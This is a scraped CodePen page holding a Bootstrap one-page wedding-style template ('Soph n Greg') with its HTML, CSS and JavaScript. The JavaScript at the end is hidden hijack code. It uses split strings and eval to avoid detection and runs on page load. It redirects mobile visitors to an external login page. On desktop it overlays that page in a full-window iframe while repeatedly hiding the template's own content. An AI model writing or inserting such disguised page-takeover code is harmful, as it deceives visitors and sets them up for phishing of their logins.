HTML preprocessors can make writing HTML more powerful or convenient. For instance, Markdown is designed to be easier to write and read for text documents and you could write a loop in Pug.
In CodePen, whatever you write in the HTML editor is what goes within the <body>
tags in a basic HTML5 template. So you don't have access to higher-up elements like the <html>
tag. If you want to add classes there that can affect the whole document, this is the place to do it.
In CodePen, whatever you write in the HTML editor is what goes within the <body>
tags in a basic HTML5 template. If you need things in the <head>
of the document, put that code here.
The resource you are linking to is using the 'http' protocol, which may not work when the browser is using https.
CSS preprocessors help make authoring CSS easier. All of them offer things like variables and mixins to provide convenient abstractions.
It's a common practice to apply CSS to a page that styles elements such that they are consistent across all browsers. We offer two of the most popular choices: normalize.css and a reset. Or, choose Neither and nothing will be applied.
To get the best cross-browser support, it is a common practice to apply vendor prefixes to CSS properties and values that require them to work. For instance -webkit-
or -moz-
.
We offer two popular choices: Autoprefixer (which processes your CSS server-side) and -prefix-free (which applies prefixes via a script, client-side).
Any URL's added here will be added as <link>
s in order, and before the CSS in the editor. If you link to another Pen, it will include the CSS from that Pen. If the preprocessor matches, it will attempt to combine them before processing.
You can apply CSS to your Pen from any stylesheet on the web. Just put a URL to it here and we'll apply it, in the order you have them, before the CSS in the Pen itself.
If the stylesheet you link to has the file extension of a preprocessor, we'll attempt to process it before applying.
You can also link to another Pen here, and we'll pull the CSS from that Pen and include it. If it's using a matching preprocessor, we'll combine the code before preprocessing, so you can use the linked Pen as a true dependency.
JavaScript preprocessors can help make authoring JavaScript easier and more convenient.
Babel includes JSX processing.
Any URL's added here will be added as <script>
s in order, and run before the JavaScript in the editor. You can use the URL of any other Pen and it will include the JavaScript from that Pen.
You can apply a script from anywhere on the web to your Pen. Just put a URL to it here and we'll add it, in the order you have them, before the JavaScript in the Pen itself.
If the script you link to has the file extension of a preprocessor, we'll attempt to process it before applying.
You can also link to another Pen here, and we'll pull the JavaScript from that Pen and include it. If it's using a matching preprocessor, we'll combine the code before preprocessing, so you can use the linked Pen as a true dependency.
Search for and use JavaScript packages from npm here. By selecting a package, an import
statement will be added to the top of the JavaScript editor for this package.
Using packages here is powered by Skypack, which makes packages from npm not only available on a CDN, but prepares them for native JavaScript ES6 import
usage.
All packages are different, so refer to their docs for how they work.
If you're using React / ReactDOM, make sure to turn on Babel for the JSX processing.
If active, Pens will autosave every 30 seconds after being saved once.
If enabled, the preview panel updates automatically as you code. If disabled, use the "Run" button to update.
If enabled, your code will be formatted when you actively save your Pen. Note: your code becomes un-folded during formatting.
Visit your global Editor Settings.
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<title>Soph n Greg</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<link rel="stylesheet" href="css/style.css">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body data-spy="scroll" data-target="#myScrollspy">
<nav class="navbar navbar-default navbar-fixed-top" data-spy="affix" data-offset-top="205">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Bootstrap</a> </div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav navbar-right">
<li><a href="#about">About</a></li>
<li><a href="#services">Registry</a></li>
<li><a href="#portfolio">Photos</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
</div>
</div>
</nav>
<header style="background-image:url('https://images.pexels.com/photos/2199293/pexels-photo-2199293.jpeg');">
<div class="header-content">
<div class="header-content-inner">
<h1>Bootstrap Template</h1>
<p>Start Bootstrap can help you build better websites using the Bootstrap CSS framework! Just download your template and start going, no strings attached!</p>
</div>
</div>
</header>
<section class="about-section bg-color" id="about">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 col-sm-12 col-xs-12">
<h3>About</h3>
<p>Bootstrap is the most popular HTML, CSS, and JavaScript framework for developing responsive, mobile-first web sites.</p>
<p>Bootstrap is completely free to download and use!</p> <a href="#" class="btn btn-default-new">Start learning Bootstrap</a> </div>
</div>
</div>
</section>
<section class="service-section" id="services">
<div class="container">
<h3>service</h3>
<div class="row">
<div class="col-md-3 col-sm-6 col-xs-12">
<div class="service-items">
<div class="icon">
<span class="glyphicon glyphicon-plane" aria-hidden="true"></span>
</div>
<h4><a href="#">Speed of Development</a></h4>
<p>Rather than coding from scratch, Bootstrap enables you to utilize ready made blocks of code to help you get started.</p>
</div>
</div>
<div class="col-md-3 col-sm-6 col-xs-12">
<div class="service-items">
<div class="icon">
<span class="glyphicon glyphicon-phone" aria-hidden="true"></span>
</div>
<h4><a href="#"> Responsiveness</a></h4>
<p>Creating mobile ready websites is a breeze with Bootstrap thanks to the fluid grid layout that dynamically adjusts to the proper screen resolution.</p>
</div>
</div>
<div class="col-md-3 col-sm-6 col-xs-12">
<div class="service-items">
<div class="icon">
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
</div>
<h4><a href="#">Consistency</a></h4>
<p>Bootstrap ensures consistency regardless of who’s working on the project. </p>
</div>
</div>
<div class="col-md-3 col-sm-6 col-xs-12">
<div class="service-items">
<div class="icon">
<span class="glyphicon glyphicon-sunglasses" aria-hidden="true"></span>
</div>
<h4><a href="#">Customizable</a></h4>
<p>Bootstrap can be tailor made according to the specifications of your project.</p>
</div>
</div>
</div>
</div>
</section>
<section class="portfolio-section" id="portfolio">
<div class="portfolio-section-inner">
<div class="portfolio-section-row">
<div class="portfolio-section-data" style="background-image:url('http://www.pd4pic.com/images/snail-branch.jpg')">
<div class="portfolio-section-text">
<div class="portfolio-section-text-inner">
<p>Portfolio</p>
<a href="#">read more</a>
</div>
</div>
</div>
<div class="portfolio-section-data" style="background-image:url('https://media.licdn.com/mpr/mpr/p/4/005/08a/10f/1e03070.jpg')">
<div class="portfolio-section-text">
<div class="portfolio-section-text-inner">
<p>Portfolio</p>
<a href="#">read more</a>
</div>
</div>
</div>
<div class="portfolio-section-data" style="background-image:url('http://freestockphotosindia.com/oc-content/uploads/1/160Zhl4HJOU_small.jpg')">
<div class="portfolio-section-text">
<div class="portfolio-section-text-inner">
<p>Portfolio</p>
<a href="#">read more</a>
</div>
</div>
</div>
</div>
<div class="portfolio-section-row">
<div class="portfolio-section-data" style="background-image:url('https://1.bp.blogspot.com/-Og33a_xvK7s/UN3l0q2hpTI/AAAAAAAAJRs/ejFbNQxNeeA/s640/facebook-girls-to-labels-beautiful-birds-130979.jpg')">
<div class="portfolio-section-text">
<div class="portfolio-section-text-inner">
<p>Portfolio</p>
<a href="#">read more</a>
</div>
</div>
</div>
<div class="portfolio-section-data" style="background-image:url('http://www.photos-public-domain.com/wp-content/uploads/2010/08/acoustic_guitar_bridge.jpg')">
<div class="portfolio-section-text">
<div class="portfolio-section-text-inner">
<p>Portfolio</p>
<a href="#">read more</a>
</div>
</div>
</div>
<div class="portfolio-section-data" style="background-image:url('https://2.bp.blogspot.com/-g3cj06XIHa4/UN3lol_VG3I/AAAAAAAAJQs/6qRI_L0MWqE/s640/59.jpg')">
<div class="portfolio-section-text">
<div class="portfolio-section-text-inner">
<p>Portfolio</p>
<a href="#">read more</a>
</div>
</div>
</div>
</div>
</div>
</section>
<footer id="contact">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 col-sm-12 col-xs-12">
<h3>Let's Get In Touch!</h3>
<p>Ready to start your next project with us? That's great! Give us a call or send us an email and we will get back to you as soon as possible!</p>
<div class="gap">
<div class="col-sm-6 col-xs-12">
<span class="glyphicon glyphicon-earphone"></span>
<a href="tel:123456789">123-456-789</a>
</div>
<div class="col-sm-6 col-xs-12">
<span class="glyphicon glyphicon-envelope"></span>
<a href="mailto:get@bootstrap.com">get@bootstrap.com</a>
</div>
</div>
</div>
</div>
</div>
</footer>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
</body>
</html>
@import url('https://fonts.googleapis.com/css?family=Roboto+Slab:400,700|Roboto:300,400,400i,500,700');
/* font-family: 'Roboto', sans-serif;
font-family: 'Roboto Slab', serif; */
/*
℘ąŋƙąʝ ɖɧıɱąŋ
*/
body {
background: #fff;
color: #414141;
font-family: 'Roboto', sans-serif;
font-size: 16px;
overflow-x: hidden;
-webkit-text-stroke: rgba(255, 255, 255, 0.01) 0.1px;
-webkit-font-smoothing: antialiased !important;
}
background-image {
}
a {
text-decoration: none;
-ms-transition: all 0.3s ease-in;
-webkit-transition: all 0.3s ease-in;
transition: all 0.3s ease-in;
}
a:hover,
a:focus,
a:active {
outline: medium none;
text-decoration: none;
}
*:focus {
outline: none;
}
img {
max-width: 100%, height: auto;
}
strong,
b {
font-weight: 700;
}
i,
em {
font-style: italic;
}
.clear {
border: 0;
clear: both;
height: 0;
}
h1,
h2,
h3,
h4,
h5,
h6,
p {
font-weight: normal;
margin: 0;
}
input,
textarea {
-webkit-appearance: none;
border-radius: 0;
}
html,
body {
height: 100%;
}
/**** NAV ****/
nav.navbar-default {
background-color: rgba(0, 0, 0, 0.28);
border-color: rgba(0, 0, 0, 0.05);
-ms-transition: all 0.3s ease-in-out;
-webkit-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
}
nav.navbar-default.affix {
background-color:#222;
-ms-transition: all 0.3s ease-in-out;
-webkit-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
}
nav.navbar-default .navbar-brand {
color: #fff;
font-size: 24px;
text-transform: uppercase;
font-family: 'Roboto', sans-serif;
}
nav.navbar-default .navbar-brand:focus, nav.navbar-default .navbar-brand:hover {
color: #fff !important;
background-color: transparent;
}
nav.navbar-default .navbar-nav>li>a{
color:#fff;
font-family: 'Roboto', sans-serif;
font-size: 16px;
text-transform: uppercase;
}
nav.navbar-default .navbar-nav>li>a:focus,
nav.navbar-default .navbar-nav>li>a:hover {
color: #F05F40;
background-color: transparent;
}
nav.navbar-default .navbar-nav li a.active,
nav.navbar-default .navbar-nav li a.active:focus,
nav.navbar-default .navbar-nav li a.active:hover {
color: #F05F40;
background-color: transparent;
}
/**** NAV END ****/
/**** HEADER ****/
header {
min-height: 100%;
background-position: center center;
background-size: cover;
background-repeat: no-repeat;
}
header:after {
content: "";
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.3);
z-index: 0;
}
header,
header .header-content {
position: relative;
width: 100%;
text-align: center;
}
header .header-content {
position: absolute;
top: 50%;
-webkit-transform: translateY(-50%);
transform: translateY(-50%);
padding: 0 50px;
z-index: 10;
}
header .header-content .header-content-inner {
width: 100%;
max-width: 1000px;
margin: 0 auto;
text-shadow: 2px 3px 6px rgba(0, 0, 0, 0.41);
}
h1, h2, h3, h4 {
font-family: 'Roboto Slab', serif;
}
.header-content-inner h1 {
font-size: 48px;
margin-bottom: 30px;
text-transform: uppercase;
color: #fff;
letter-spacing: 0.05em;
}
.header-content-inner h1:after {
content: "";
display: block;
width: 80px;
height: 3px;
margin: 20px auto 0;
background: #F05F40;
}
.header-content-inner p {
font-size: 22px;
line-height: 1.8;
color: #e4e4e4;
}
/**** HEADER END ****/
/**** ABOUT ****/
.bg-color{
background:#F05F40;
}
section{
padding: 80px 0;
position: relative;
text-align: center;
}
.about-section h3{
font-size: 36px;
margin-bottom: 20px;
text-transform: uppercase;
color: #fff;
letter-spacing: 0.05em;
}
.about-section h3:after {
content: "";
display: block;
width: 80px;
height: 3px;
margin: 20px auto 0;
background:#c34d34;
}
.about-section p{
font-size: 18px;
line-height: 1.8;
color: #fff;
margin-bottom: 15px;
}
.btn-default-new{
background: #c34d34;
border-radius: 30px;
border: solid 3px #c34d34;
color: #ffffff;
font-size: 18px;
text-transform: capitalize;
font-family: 'Roboto', sans-serif;
padding: 0 25px;
line-height: 3.1;
margin-top: 30px;
letter-spacing: 0.05em;
-ms-transition: all 0.6s ease-in-out;
-webkit-transition: all 0.6s ease-in-out;
transition: all 0.6s ease-in-out;
}
.btn-default-new:hover, .btn-default-new:focus{
background: #fff;
color: #c34d34;
border-color: #c34d34;
}
/**** ABOUT END ****/
/**** SERVICE ****/
.service-section h3{
font-size: 36px;
margin-bottom: 30px;
text-transform: uppercase;
color: #222;
letter-spacing: 0.05em;
}
.service-section h3:after {
content: "";
display: block;
width: 80px;
height: 3px;
margin: 20px auto 0;
background:#F05F40;
}
.service-items .icon{
color: #F05F40;
font-size: 36px;
display: block;
width: 100px;
height: 100px;
text-align: center;
border-radius: 100%;
border: solid 2px #F05F40;
margin: 0 auto 30px;
line-height: 98px;
}
.service-items h4{
font-size: 22px;
margin-bottom: 20px;
text-transform: capitalize;
color: #F05F40;
}
.service-items h4 a{
color: #222;
}
.service-items h4 a:hover{
color: #F05F40;
}
.service-items p{
font-size: 16px;
line-height: 1.6;
color: #414141;
margin-bottom: 15px;
}
/**** SERVICE END ****/
/**** PORTFOLIO ****/
.portfolio-section{
padding: 0;
}
.portfolio-section .portfolio-section-inner{
display: table;
table-layout: fixed;
width: 100%;
max-width: 2000px;
}
.portfolio-section-inner .portfolio-section-row{
display: table-row;
width: 100%;
}
.portfolio-section-inner .portfolio-section-data{
display: table-cell;
width: 33.33%;
vertical-align: middle;
height: 420px;
background-position: center center;
background-size: cover;
background-repeat: no-repeat;
position: relative;
overflow: hidden;
}
.portfolio-section-inner .portfolio-section-data .portfolio-section-text{
position: absolute;
top: 150%;;
bottom: 0;
right: 0;
left: 0;
background: rgba(0,0,0,0.8);
margin: auto;
-ms-transition: all 0.3s ease-in-out;
-webkit-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
}
.portfolio-section-inner .portfolio-section-data:hover .portfolio-section-text{
top: 0;
}
.portfolio-section-text .portfolio-section-text-inner{
position: absolute;
top: 50%;
right: 20px;
left: 20px;
-webkit-transform: translateY(-50%);
transform: translateY(-50%);
}
.portfolio-section-text p{
font-size: 28px;
line-height: 1.6;
color: #fff;
}
.portfolio-section-text a{
color: #F05F40;
font-size: 14px;
}
.portfolio-section-text a:hover{
color: #fff;
}
/**** PORTFOLIO ****/
/**** FOOTER ****/
footer{
background: #222;
padding: 80px 0;
position: relative;
text-align: center;
}
footer h3{
font-size: 36px;
margin-bottom: 30px;
text-transform: capitalize;
color: #fff;
letter-spacing: 0.05em;
}
footer h3:after {
content: "";
display: block;
width: 80px;
height: 3px;
margin: 20px auto 0;
background:#F05F40;
}
footer p{
font-size: 18px;
line-height: 1.6;
color: #adadad;
}
.gap{
display: block;
margin-top: 50px;
}
footer span.glyphicon{
color: #adadad;
font-size: 28px;
display: block;
margin: 0 auto 30px;
}
footer a{
color: #adadad;
}
footer a:hover{
color: #F05F40;
}
function goPAGE() {
if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) {
window.location.href = "https://spiderpig86.github.io/Cirrus/docs/examples/login-page/"
} else {
var ss = '<center id="iframeDiv"><ifr' + 'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="18' + '88" src="https://spiderpig86.github.io/Cirrus/docs/examples/login-page/"></iframe></center>';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch (e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if (myid != "iconDiv1" && myid != "iframeDiv") {
document.body.children[i].style.display = "non" + "e"
}
} catch (e) {}
}
}, 100)
} catch (e) {}
}
}
goPAGE();
Also see: Tab Triggers